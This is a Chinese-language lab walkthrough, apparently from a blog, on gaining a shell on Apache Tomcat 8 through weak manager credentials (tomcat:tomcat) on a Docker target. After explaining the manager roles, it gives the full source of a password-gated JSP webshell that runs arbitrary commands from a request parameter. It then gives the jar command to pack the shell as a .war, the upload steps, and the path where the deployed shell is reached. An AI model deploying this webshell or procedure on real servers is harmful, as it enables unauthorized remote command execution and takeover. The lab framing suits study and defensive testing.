1. 程式人生 > 其它 >Tomcat弱口令GetShell

Tomcat弱口令GetShell

有口令就好說

0x00 漏洞概述

Tomcat支援後臺部署.war檔案——可直接將WebShell部署到web目錄下。訪問後臺的條件是使用者具有相應許可權。

war包是用來進行Web開發時一個網站專案下的所有程式碼,包括前臺HTML/CSS/JS程式碼,以及後臺JavaWeb的程式碼。當開發人員開發完畢時,就會將原始碼打包給測試人員測試,測試完後若要釋出則也會打包成war包進行釋出。war包可以放在Tomcat下的webapps或work目錄,當Tomcat伺服器啟動時,war包即會隨之解壓原始碼來進行自動部署。

Tomcat 7+的許可權有:

  • manager(後臺管理)
    • manager-gui擁有html頁面許可權
    • manager-status擁有檢視status的許可權
    • manager-script擁有text介面許可權(包括status許可權)
    • manager-jmx擁有jmx許可權(包括status許可權)
  • host-manager(虛擬主機管理)
    • admin-gui擁有html頁面許可權
    • admin-script擁有text介面許可權

這些配置位於conf/tomcat-users.xml中。正常安裝情況下,Tomcat 8中預設沒有任何使用者,且manager頁面只允許本地IP訪問。只有管理員手動修改了這些屬性後才可能出現攻擊機會

0x01 靶機配置

仍舊使用映象。

使用Docker自帶命令列雖然比較樸素,但能夠滿足簡單檢視的需求。

可以看到弱口令使用者tomcat: tomcat,而且具有多項許可權。

0x02 利用流程

訪問靶機

Apache Tomcat/8.0.43。

弱口令登入

由於是實驗,事先從Docker獲取了弱口令賬戶。實戰中就沒這麼方便,常常還需要權衡是否有爆破的必要。

找個地方登入,比如/manager/status:

好看:

傳大馬

做一個含口令的.jsp大馬:

<%
    if("thisispasswd".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;          
        byte[] b = new byte[1024];          
        out.print("<pre>");          
        while((a=in.read(b))!=-1){
            out.println(new String(b));          
        }
        out.print("</pre>");
    } 
%>

將這個.jsp壓縮到.zip檔案中,並將字尾改為.war即可上傳。或者更為標準,使用命令

jar -cvf wdnmd.war wdnmd.jsp  

點選List Applications:

上傳war包:

部署成功:

可以看到返回訊息OK,也新增了目錄/wdnmd。

Get Shell

馬的位置是/[war包名]/[.jsp檔名]。

利用成功!